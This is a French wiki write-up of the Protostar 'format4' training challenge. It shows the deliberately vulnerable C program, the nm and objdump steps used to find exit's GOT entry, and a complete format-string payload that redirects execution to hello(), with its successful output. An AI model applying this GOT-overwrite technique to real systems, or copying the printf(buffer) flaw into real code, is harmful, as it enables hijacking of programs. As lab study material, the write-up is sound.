Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:format4

Format 4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int target;
 
void hello()
{
	printf("code execution redirected! you win\n");
	_exit(1);
}
 
void vuln()
{
	char buffer[512];
 
	fgets(buffer, sizeof(buffer), stdin);
 
	printf(buffer);
 
	exit(1);	
}
 
int main(int argc, char **argv)
{
	vuln();
}

Enfin une vraie format string :-) On va devoir rediriger notre programme vers la fonction hello. Pour cela, on va re-écrire dans la GOT l'adresse de la fonction exit qui est appelée juste après notre printf.

user@protostar:/opt/protostar/bin$ nm ./format4 | grep hello
080484b4 T hello
user@protostar:/opt/protostar/bin$ objdump -R ./format4

./format4:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit
user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format4 | grep 4242; then echo $i; fi; done
BBBB42424242
4

On va donc écrire 0x080484b4 à l'adresse 0x08049724.

jeremie-laptop:FormatString tlk$ ./FormatString.py 4 08049724 080484b4
Your payload : 
\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$hhn%208c%5$hhn%128c%6$hhn%4c%7$hhn
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$hhn%208c%5$hhn%128c%6$hhn%4c%7$hhn"' | ./format4
$%&'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d   $
code execution redirected! you win
exploit_exercises_protostar/format4.txt · Dernière modification: 2017/04/09 15:33 (modification externe)